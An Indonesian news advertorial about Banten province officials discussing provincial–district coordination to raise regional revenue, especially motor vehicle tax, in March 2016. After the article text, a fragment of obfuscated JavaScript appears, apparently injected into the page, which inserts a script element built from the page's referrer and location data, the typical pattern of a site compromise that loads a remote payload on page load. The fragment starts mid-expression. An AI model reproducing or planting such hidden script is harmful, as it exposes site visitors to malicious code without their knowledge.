Untuk mengotimalkan pendapatan daerah dibutuhkan sinegritas yang baik antara provinsi dengan kabupaten/kota di Banten. Pasalnya, dalam meningkatkan pengelolaan dan pendapatan daerah dibutuhkan beberapa langkah yang sesuai dan dilakukan bersama instansi terkait.

Hal itu dikatakan Sekretaris Daerah Provinsi Banten Ranta Suharta saat menjadi pembicara dalam acara Saresehan Sinegritas Pendapatan dan Pengelolaan Keuangan Daerah Tingkat Provinsi Banten di Kota Cilegon, 18 Maret 2016 kemarin. a�?Pemerintah mendorong untuk meningktakan pendapatan daerah sesuai dengan Undang-Undang Nomor 23 tahun 2014,a�? katanya.

Salah satu upaya yang dilakukan untuk meningkatkan pendapatan daerah adalah melakukan pertemuan dengan pemerintah kabupaten kota tiga bulan sekali secara berkelanjutan. Tidak hanya itu pemerintah juga menciptakan sebuah formula untuk menambah pendapatan daerah dari pajak, misalnya pajak kendaraan bermotor dan retribusi lainnya. a�?Pajak kendaraan bermotor merupakan pendapatan daerah terbesar,a�? kata Ranta.

Sementara itu, Kepala Dinas Pendapatan dan Pengelolaan Keuangan Daerah (DPPKD) Provinsi Banten Nandy Mulya mengatakan, pemerintah Provinsi Banten tahun ini mengalokasikan bantuan anggaran keuangan untuk kabupaten/kota. a�?Pembagian anggaran ini merupakan pembagian pajak provinsi untuk kabupaten/kota,a�? ujarnya.

Ditambahkan Nandy, Pendapatan Asli Daerah (PAD) merupakan indikator tingkat kemandirian daerah. Rendahnya alokasi anggaran pada tahun 2016 disebabkan daya serap rendah terhadap bantuan keuangan dikabupaten kota. a�?Dibutuhkan langkah efisiensi dalam penyaluran keuangan tersebut pada tahun ini,a�? katanya. [DPPKD Provinsi Banten/ADV]

[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}